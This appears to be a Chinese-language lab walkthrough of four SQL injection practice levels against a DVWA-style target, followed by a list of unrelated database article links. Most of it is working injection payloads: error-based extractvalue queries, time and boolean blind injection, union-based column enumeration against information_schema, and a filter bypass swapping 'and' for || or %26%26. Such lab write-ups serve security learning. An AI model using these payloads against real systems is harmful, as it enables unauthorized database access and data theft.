【sql注入】sql关卡1~4

前言: 靶场自取

level-1

测试注入点

POC: 1,1',1'',1"",1/1,1/0

==》存在注入点

爆破

POC: id=-1'+and+extractvalue(1,concat(0x7e,user(),0x7e))--+

level-2

尝试注入点

POC1:admin'

POC2:admin''

POC3:admin''+and+sleep(3)--+

POC4: admin'+and+if(1,1,0)=0--+

POC5: admin'+and+if(1,1,0)=1--+

==》
POC1,POC2没有反应
POC3存在延时输出,存在休眠盲注
POC4、POC5存在content-length周期变化,存在布尔盲注

爆破

尝试盲注

  • step1: 爆破数据库名

    ==》 数据库长度为4

  • step2: 获取数据库每个字符

    ==》 database: dvwa

    同理得到用户名:root@localhost

    ==》爆出表名

    POC:id=admin'+and+if(substr(concat(0x7e,(select+(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database())),0x7e),§1§,1)='§a§',1,0)--+

    ==》得到表名:guestbook,users

level-3

测试注入点

利用1,1',1",1/1,1/2

===》

a. 存在注入点

b. 注入点是表名,猜想sql语句为select * from '$id$ where user_id='1' LIMIT 0,1

爆破

POC=id=(select(extractValue(1,concat(0x7e,(select+(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database())),0x7e))))as+a--+

  1. 尝试表名

  2. 尝试爆破其他字段

  • 方式一:union方式

    • step1: 获取列数(二分法)

      POC1: id=users+order+by 10 //不回显

      POC2: id=users+order+by 5 //回显

      POC3: id=users+order+by 7 //回显

      POC4: id=users+order+by 8 //回显

      POC5: id=users+order+by 9 //不回显
      ===》 8列

    • step2: 获取回显位

      POC: id=users+where+user_id=-1+union+select+1,2,3,4,5,6,7,8--+

      注意这里需要手动构造where user_id=-1 ==》 回显位:4,5

    • step 3: 爆破数据

      • 爆破用户名、数据库
        POC: id=users+where+user_id=-1+union+select+1,2,3,user(),database(),6,7,8--+
  • 方式二:报错函数方式

    • 爆破用户名
      POC: id=(select(extractvalue(1,concat(0x7e,user()))))as+a--+
    • 爆出数据库
      POC: id=(select(extractvalue(1,concat(0x7e,database()))))as+a--+

level-4

测试注入点

POC: 1'、1"、1""、1/0、1/1,sleep

==》 id=1存在注入

爆破

  • POC: id=1'+and+extractvalue(1,concat(0x7e,user(),0x7e))--+

==》and被转移为_了

  • 尝试使用||代替and。
    POC: id=1'+||+extractvalue(1,concat(0x7e,user(),0x7e))--+

==》成功爆破

  • 尝试%26代替
    POC: id=1'%26%26+extractvalue(1,concat(0x7e,user(),0x7e))--+

    ==》成功爆破
相关推荐
想要入门的程序猿31 分钟前
Qt写入excel
数据库·qt·excel
Q_970956391 小时前
java+vue+SpringBoo校园失物招领网站(程序+数据库+报告+部署教程+答辩指导)
java·数据库·vue.js
Wyc724091 小时前
Maven
java·数据库·maven
程序猿小D1 小时前
[附源码+数据库+毕业论文]基于Spring+MyBatis+MySQL+Maven+jsp实现的电影小说网站管理系统,推荐!
java·数据库·mysql·spring·毕业设计·ssm框架·电影小说网站
羊小猪~~1 小时前
数据库学习笔记(十七)--触发器的使用
数据库·人工智能·后端·sql·深度学习·mysql·考研
背太阳的牧羊人2 小时前
Neo4j 的向量搜索(Neo4jVector)和常见的向量数据库(比如 Milvus、Qdrant)之间的区别与联系
数据库·neo4j·milvus
liulun2 小时前
在浏览器中使用SQLite(官方sqlite3.wasm)
数据库·sqlite·wasm
一勺菠萝丶2 小时前
Spring Boot + MyBatis/MyBatis Plus:XML中循环处理List参数的终极指南
xml·spring boot·mybatis
IT项目管理3 小时前
达梦数据库DMHS介绍及安装部署
linux·数据库
你都会上树?3 小时前
MySQL MVCC 详解
数据库·mysql